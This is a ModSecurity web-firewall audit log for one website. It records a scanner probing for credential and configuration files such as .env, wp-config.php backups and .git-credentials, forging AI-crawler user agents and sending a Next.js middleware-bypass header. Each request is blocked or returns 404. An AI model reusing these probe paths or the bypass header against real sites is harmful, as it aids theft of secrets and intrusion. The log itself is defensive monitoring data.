Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.env.swp"] [unique_id "aqaAzjTJ6xTvcJoem7f8UwAAAFY"]
Stopwatch: 1789296846847168 6219 (- - -)
Stopwatch2: 1789296846847168 6219; combined=4555, p1=233, p2=4202, p3=73, p4=7, p5=40, sr=111, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3ccae92f-Z--

--e3956b6b-A--
[13/Sep/2026:13:54:07.013149 +0300] aqaAz2M7dE9KgIIOpQh6XAAAAMs 35.236.177.61 34034 127.0.0.1 7081
--e3956b6b-B--
GET /public/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e3956b6b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--e3956b6b-E--

--e3956b6b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/public/.env"] [unique_id "aqaAz2M7dE9KgIIOpQh6XAAAAMs"]
Stopwatch: 1789296847002486 10739 (- - -)
Stopwatch2: 1789296847002486 10739; combined=5920, p1=903, p2=4854, p3=102, p4=11, p5=49, sr=124, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e3956b6b-Z--

--5d3cc76d-A--
[13/Sep/2026:13:54:07.057891 +0300] aqaAz0wu1RSkptiiNIX7hQAAAJE 35.236.177.61 34050 127.0.0.1 7081
--5d3cc76d-B--
GET /wp/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--5d3cc76d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--5d3cc76d-E--

--5d3cc76d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/wp/.env"] [unique_id "aqaAz0wu1RSkptiiNIX7hQAAAJE"]
Stopwatch: 1789296847051355 6589 (- - -)
Stopwatch2: 1789296847051355 6589; combined=4991, p1=356, p2=4483, p3=101, p4=8, p5=43, sr=154, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5d3cc76d-Z--

--c63f152e-A--
[13/Sep/2026:13:54:07.079693 +0300] aqaAz2M7dE9KgIIOpQh6XQAAAMY 35.236.177.61 34062 127.0.0.1 7081
--c63f152e-B--
GET /storage/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c63f152e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--c63f152e-E--

--c63f152e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/storage/.env"] [unique_id "aqaAz2M7dE9KgIIOpQh6XQAAAMY"]
Stopwatch: 1789296847073542 6249 (- - -)
Stopwatch2: 1789296847073542 6249; combined=4719, p1=275, p2=4327, p3=68, p4=7, p5=42, sr=101, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c63f152e-Z--

--c741d447-A--
[13/Sep/2026:13:54:07.087708 +0300] aqaAz2M7dE9KgIIOpQh6XgAAAM0 35.236.177.61 34076 127.0.0.1 7081
--c741d447-B--
GET /web/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c741d447-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--c741d447-E--

--c741d447-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/web/.env"] [unique_id "aqaAz2M7dE9KgIIOpQh6XgAAAM0"]
Stopwatch: 1789296847081233 6600 (- - -)
Stopwatch2: 1789296847081233 6600; combined=4984, p1=369, p2=4441, p3=78, p4=8, p5=87, sr=193, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c741d447-Z--

--378f8a13-A--
[13/Sep/2026:13:54:07.130417 +0300] aqaAz2M7dE9KgIIOpQh6XwAAAMQ 35.236.177.61 34078 127.0.0.1 7081
--378f8a13-B--
GET /wp-config.php~ HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--378f8a13-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--378f8a13-E--

--378f8a13-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/wp-config.php~"] [unique_id "aqaAz2M7dE9KgIIOpQh6XwAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/wp-config.php~"] [unique_id "aqaAz2M7dE9KgIIOpQh6XwAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/wp-config.php~"] [unique_id "aqaAz2M7dE9KgIIOpQh6XwAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/wp-config.php~"] [unique_id "aqaAz2M7dE9KgIIOpQh6XwAAAMQ"]
Stopwatch: 1789296847095655 34837 (- - -)
Stopwatch2: 1789296847095655 34837; combined=33051, p1=304, p2=32597, p3=70, p4=7, p5=73, sr=126, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--378f8a13-Z--

--9eb21813-A--
[13/Sep/2026:13:54:07.296781 +0300] aqaAz2M7dE9KgIIOpQh6YQAAAMo 35.236.177.61 34096 127.0.0.1 7081
--9eb21813-B--
GET /wp-config.php.swp HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--9eb21813-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--9eb21813-E--

--9eb21813-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/wp-config.php.swp"] [unique_id "aqaAz2M7dE9KgIIOpQh6YQAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/wp-config.php.swp"] [unique_id "aqaAz2M7dE9KgIIOpQh6YQAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/wp-config.php.swp"] [unique_id "aqaAz2M7dE9KgIIOpQh6YQAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/wp-config.php.swp"] [unique_id "aqaAz2M7dE9KgIIOpQh6YQAAAMo"]
Stopwatch: 1789296847262654 34192 (- - -)
Stopwatch2: 1789296847262654 34192; combined=32478, p1=285, p2=32037, p3=77, p4=9, p5=69, sr=121, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9eb21813-Z--

--8eff6037-A--
[13/Sep/2026:13:54:10.770702 +0300] aqaA0kwu1RSkptiiNIX7lwAAAIY 35.236.177.61 34838 127.0.0.1 7081
--8eff6037-B--
GET /.git/config HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--8eff6037-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--8eff6037-E--

--8eff6037-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqaA0kwu1RSkptiiNIX7lwAAAIY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqaA0kwu1RSkptiiNIX7lwAAAIY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqaA0kwu1RSkptiiNIX7lwAAAIY"]
Stopwatch: 1789296850737527 33245 (- - -)
Stopwatch2: 1789296850737527 33245; combined=31786, p1=318, p2=31286, p3=79, p4=10, p5=93, sr=149, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8eff6037-Z--

--85871b00-A--
[13/Sep/2026:13:54:10.780317 +0300] aqaA0kwu1RSkptiiNIX7mAAAAJc 35.236.177.61 34844 127.0.0.1 7081
--85871b00-B--
GET /.git/HEAD HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--85871b00-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--85871b00-E--

--85871b00-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git/HEAD"] [unique_id "aqaA0kwu1RSkptiiNIX7mAAAAJc"]
Stopwatch: 1789296850774407 5960 (- - -)
Stopwatch2: 1789296850774407 5960; combined=4394, p1=317, p2=3965, p3=67, p4=7, p5=37, sr=163, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--85871b00-Z--

--20ccd679-A--
[13/Sep/2026:13:54:10.848313 +0300] aqaA0jTJ6xTvcJoem7f8YgAAAEk 35.236.177.61 34856 127.0.0.1 7081
--20ccd679-B--
GET /.git-credentials HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--20ccd679-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--20ccd679-E--

--20ccd679-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git-credentials"] [unique_id "aqaA0jTJ6xTvcJoem7f8YgAAAEk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.git-credentials"] [unique_id "aqaA0jTJ6xTvcJoem7f8YgAAAEk"]
Stopwatch: 1789296850814521 33857 (- - -)
Stopwatch2: 1789296850814521 33857; combined=32369, p1=297, p2=31951, p3=67, p4=8, p5=46, sr=110, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--20ccd679-Z--

--33878136-A--
[13/Sep/2026:13:54:10.874820 +0300] aqaA0mM7dE9KgIIOpQh6ggAAAME 35.236.177.61 34860 127.0.0.1 7081
--33878136-B--
GET /.gitconfig HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--33878136-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--33878136-E--

--33878136-H--
Message: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.gitconfig||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.gitconfig"] [unique_id "aqaA0mM7dE9KgIIOpQh6ggAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.gitconfig||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.gitconfig"] [unique_id "aqaA0mM7dE9KgIIOpQh6ggAAAME"]
Stopwatch: 1789296850836516 38359 (- - -)
